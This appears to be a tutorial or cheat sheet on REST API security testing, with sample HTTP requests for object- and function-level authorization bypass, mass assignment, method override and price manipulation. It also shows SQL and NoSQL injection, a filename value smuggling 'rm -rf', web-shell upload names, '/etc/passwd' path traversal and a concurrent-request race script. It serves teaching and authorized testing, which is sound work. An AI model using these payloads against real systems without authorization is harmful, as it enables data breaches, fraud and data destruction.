# REST API testing

## What is REST API Testing?

REST API testing focuses on identifying vulnerabilities in Representational State Transfer APIs - the most common architecture for modern web and mobile application backends. REST APIs use standard HTTP methods (GET, POST, PUT, DELETE) to manipulate resources, making them susceptible to both traditional web vulnerabilities and API-specific attacks that can bypass frontend security controls.

## Vulnerable Scenario Example

```http
# Legitimate user request
GET /api/users/123/profile HTTP/1.1
Authorization: Bearer legitimate_user_token

# Response
{
  "id": 123,
  "name": "John Doe",
  "email": "john@example.com"
}

# Attack: Change user ID to access another user's data
GET /api/users/456/profile HTTP/1.1
Authorization: Bearer legitimate_user_token

# Vulnerable response - should be blocked but isn't
{
  "id": 456,
  "name": "Jane Admin",
  "email": "jane@admin.com",
  "role": "administrator",
  "salary": 150000
}
```

**Attack Result:** Broken Object Level Authorization (BOLA) allows accessing any user's sensitive data by simply changing the ID parameter.

## How REST API Attacks Work

REST API vulnerabilities exploit weaknesses in authentication, authorization, input validation, and business logic at the API layer. Since APIs handle data directly without UI filtering, they often expose more attack surface than traditional web interfaces.

#### Common Attack Flow

1. **API Discovery** - Find endpoints through documentation, bruteforcing, or reconnaissance
2. **Authentication Analysis** - Test token handling, session management, and auth bypass
3. **Authorization Testing** - Check if users can access resources they shouldn't
4. **Input Manipulation** - Test parameter injection, manipulation, and validation bypass
5. **Business Logic Abuse** - Exploit rate limits, workflows, and data handling flaws

## Impact

* **Data Breaches** - Direct access to sensitive user and business data
* **Account Takeover** - Authentication bypass leading to full account compromise
* **Privilege Escalation** - Regular users gaining administrative access
* **Financial Fraud** - Price manipulation and unauthorized transactions
* **Service Disruption** - Rate limiting bypass causing DoS conditions
* **Business Logic Bypass** - Circumventing intended application workflows

## Core REST API Vulnerabilities

#### Broken Object Level Authorization (BOLA)

The most common API vulnerability where users can access resources belonging to other users.

**Basic BOLA Attack:**

```http
# Legitimate access
GET /api/orders/12345 HTTP/1.1
Authorization: Bearer user_token

# Attack: Try accessing other user's orders
GET /api/orders/12346 HTTP/1.1
GET /api/orders/12347 HTTP/1.1
GET /api/orders/54321 HTTP/1.1
Authorization: Bearer same_user_token
```

**Advanced BOLA Techniques:**

```http
# UUID enumeration
GET /api/documents/550e8400-e29b-41d4-a716-446655440000 HTTP/1.1

# Encoded parameter bypass
GET /api/users/NDU2 HTTP/1.1  # Base64 encoded "456"

# Nested resource access
GET /api/companies/123/employees/456/salary HTTP/1.1
```

#### Broken Function Level Authorization

Users can access administrative or privileged functions without proper authorization.

**Common Attack Patterns:**

```http
# Regular user trying admin endpoints
GET /api/admin/users HTTP/1.1
POST /api/admin/delete-user HTTP/1.1
PUT /api/admin/system-config HTTP/1.1
Authorization: Bearer regular_user_token

# HTTP method manipulation
GET /api/users/123?_method=DELETE HTTP/1.1
POST /api/users/123 HTTP/1.1
X-HTTP-Method-Override: DELETE
```

#### Excessive Data Exposure

APIs returning more sensitive information than necessary in responses.

**Information Disclosure Examples:**

```http
GET /api/users/profile HTTP/1.1
Authorization: Bearer token

# Vulnerable response with excessive data
{
  "user_id": 123,
  "name": "John Doe",
  "email": "john@example.com",
  "phone": "+1234567890",
  "address": "123 Main St",
  "ssn": "123-45-6789",           // Sensitive
  "password_hash": "abc123...",    // Should never be exposed
  "credit_cards": [...],           // Highly sensitive
  "internal_notes": "VIP customer" // Internal data
}
```

#### Injection Vulnerabilities

REST APIs are susceptible to various injection attacks through parameters and request bodies.

**SQL Injection in API Parameters:**

```http
GET /api/users?id=1' OR '1'='1' -- HTTP/1.1
GET /api/search?query='; DROP TABLE users; -- HTTP/1.1
```

**NoSQL Injection:**

```http
POST /api/login HTTP/1.1
Content-Type: application/json

{
  "username": {"$ne": null},
  "password": {"$ne": null}
}
```

**Command Injection:**

```http
POST /api/file/convert HTTP/1.1
Content-Type: application/json

{
  "filename": "document.pdf; rm -rf /tmp/*"
}
```

## REST API Testing Methodology

#### API Discovery and Reconnaissance

**Endpoint Enumeration:**

```bash
# Directory bruteforcing
gobuster dir -u https://api.target.com -w api-endpoints.txt

# Common API patterns
/api/v1/users
/api/v2/admin
/rest/users
/api/users.json
/graphql
```

**Documentation Discovery:**

```http
# Look for API documentation
GET /api/docs HTTP/1.1
GET /swagger.json HTTP/1.1
GET /api-docs HTTP/1.1
GET /openapi.json HTTP/1.1
```

#### Authentication and Session Testing

**Authentication Bypass Testing:**

```http
# Test without authentication
GET /api/users HTTP/1.1

# Test with empty/invalid tokens
GET /api/users HTTP/1.1
Authorization: Bearer

GET /api/users HTTP/1.1
Authorization: Bearer invalid_token

# Test token manipulation
GET /api/users HTTP/1.1
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0...
```

**JWT Security Testing:**

```javascript
// Decode JWT to analyze payload
const token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...";
const [header, payload, signature] = token.split('.');
const decodedPayload = JSON.parse(atob(payload));

// Test common JWT vulnerabilities
// 1. Algorithm confusion (change alg to "none")
// 2. Key confusion (use public key as HMAC secret)
// 3. Weak secrets (attempt to crack)
```

#### HTTP Method Security Testing

**Method Override Attacks:**

```http
# Test method override headers
POST /api/users/123 HTTP/1.1
X-HTTP-Method-Override: DELETE

GET /api/users/123?_method=DELETE HTTP/1.1

POST /api/users/123 HTTP/1.1
X-HTTP-Method: PUT
```

**Comprehensive Method Testing:**

```http
# Test all methods on each endpoint
GET /api/users HTTP/1.1
POST /api/users HTTP/1.1
PUT /api/users HTTP/1.1
DELETE /api/users HTTP/1.1
PATCH /api/users HTTP/1.1
HEAD /api/users HTTP/1.1
OPTIONS /api/users HTTP/1.1
TRACE /api/users HTTP/1.1
```

#### Input Validation and Manipulation

**Parameter Pollution:**

```http
# Test duplicate parameters
GET /api/users?id=123&id=456 HTTP/1.1

POST /api/transfer HTTP/1.1
Content-Type: application/x-www-form-urlencoded

amount=10&to=user123&amount=1000&to=attacker
```

**Content-Type Confusion:**

```http
# JSON request
POST /api/users HTTP/1.1
Content-Type: application/json

{"role": "user"}

# Try form data with same endpoint
POST /api/users HTTP/1.1
Content-Type: application/x-www-form-urlencoded

role=admin&admin=true
```

**File Upload Testing:**

```http
POST /api/upload HTTP/1.1
Content-Type: multipart/form-data

# Test malicious file uploads
filename="shell.php"
filename="document.pdf.php"
filename="../../../shell.php"
```

## Business Logic Vulnerabilities

#### Rate Limiting Bypass

**Common Bypass Techniques:**

```http
# IP-based bypass
X-Forwarded-For: 192.168.1.100
X-Real-IP: 10.0.0.1
X-Originating-IP: 172.16.0.1

# User-Agent rotation
User-Agent: Mozilla/5.0 (Different Browser)

# Header manipulation
X-Rate-Limit-Bypass: true
```

#### Price and Quantity Manipulation

**E-commerce API Attacks:**

```http
POST /api/orders HTTP/1.1
Content-Type: application/json

{
  "items": [
    {
      "product_id": 123,
      "quantity": 1,
      "price": 0.01    // Price manipulation
    }
  ]
}

# Negative quantity attack
{
  "product_id": 123,
  "quantity": -1,     // Could credit money back
  "price": 999.99
}
```

#### Race Condition Attacks

**Concurrent Request Testing:**

```python
import threading
import requests

def make_request():
    response = requests.post('https://api.target.com/withdraw', 
                           json={'amount': 100},
                           headers={'Authorization': 'Bearer token'})
    print(response.status_code)

# Send multiple concurrent requests
threads = []
for i in range(10):
    t = threading.Thread(target=make_request)
    threads.append(t)
    t.start()

for t in threads:
    t.join()
```

## Advanced REST API Testing Techniques

#### Mass Assignment Testing

**Parameter Injection:**

```http
# Normal user registration
POST /api/register HTTP/1.1
Content-Type: application/json

{
  "username": "newuser",
  "email": "user@example.com",
  "password": "password123"
}

# Mass assignment attack
POST /api/register HTTP/1.1
Content-Type: application/json

{
  "username": "newuser",
  "email": "user@example.com", 
  "password": "password123",
  "role": "admin",           // Injected
  "is_admin": true,          // Injected
  "credits": 9999999         // Injected
}
```

#### API Version Testing

**Version Enumeration:**

```http
GET /api/v1/users HTTP/1.1
GET /api/v2/users HTTP/1.1
GET /api/v3/users HTTP/1.1
GET /api/beta/users HTTP/1.1

# Test for version downgrade attacks
GET /api/v1/admin/users HTTP/1.1  # Older version might lack auth
```

#### Error-Based Information Disclosure

**Triggering Verbose Errors:**

```http
# Invalid JSON to trigger parser errors
POST /api/users HTTP/1.1
Content-Type: application/json

{"invalid": json}

# Database errors through injection
GET /api/users?id=abc'123 HTTP/1.1

# File system errors
GET /api/files?path=../../../etc/passwd HTTP/1.1
```
